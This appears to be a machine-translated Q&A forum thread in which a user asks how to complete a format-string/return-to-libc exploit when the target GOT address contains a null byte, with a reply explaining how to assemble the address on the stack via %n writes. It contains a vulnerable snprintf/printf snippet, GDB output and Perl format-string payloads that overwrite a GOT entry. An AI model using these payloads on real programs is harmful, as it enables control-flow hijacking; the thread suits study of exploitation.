2013-05-06 53 views
1

我試圖執行返回到libc格式字符串攻擊,但我想寫入(0x0804a000)的地址有一個空字節!我必須將我的格式字符串讀入snprintf,因此空字節會導致它出現故障並隨機產生Segfaults。Return to Libc在地址空字節

buf[70]; 
snprintf(buf, 80, argv[1]); 
printf(buf); 

這裏是GDB轉儲的printf @ PLT:

(gdb) disassem 0x080483c0 
Dump of assembler code for function [email protected]: 
0x080483c0 <+0>: jmp *0x804a000 
0x080483c6 <+6>: push $0x0 
0x080483cb <+11>: jmp 0x80483b0 
End of assembler dump. 

有沒有人有什麼想法?

我現在的方法是運行像這樣

./program `perl -e 'print "sh;#\x00\xa0\x04\x08%12345x%10$hn"'` 

,但有一個空字節。我也曾嘗試

./program `perl -e 'print "sh;#\xff\x9f\x04\x08\x00\xa0\x04\x08%12345x%10$hn%12345x%11$hn"'` 

0x0804a000之前地址具有全局偏移表,因此snprintf的段錯誤之前甚至返回到函數調用它。

回答

2

一個常見的方法是使用堆棧來創建一些「內存構造」。

在您需要的地方有堆棧上的施工結束(我們稱之爲該位置ñ,讓我們說,它對應第五參數):

00 A0 04 08

既然你可以通過編寫啓動0×01(或者任何你喜歡的,我們只是在空字節興趣)到N-1。在位置n的存儲器將看起來像:

00 ?? ?? ??

然後寫0x04a0n + 1個從而所述存儲器的位置Ñ看起來像:

00 A0 04 ??

的最後一步是寫0xff08N + 3

一旦完成,您可以使用直接參數訪問來獲取您的地址並在指定位置寫入值。

%12345x%5 $ N

所有你需要做的就是用$ HN$ N發揮,並找到一種方式重疊適合你的數據。我希望你明白這個主意。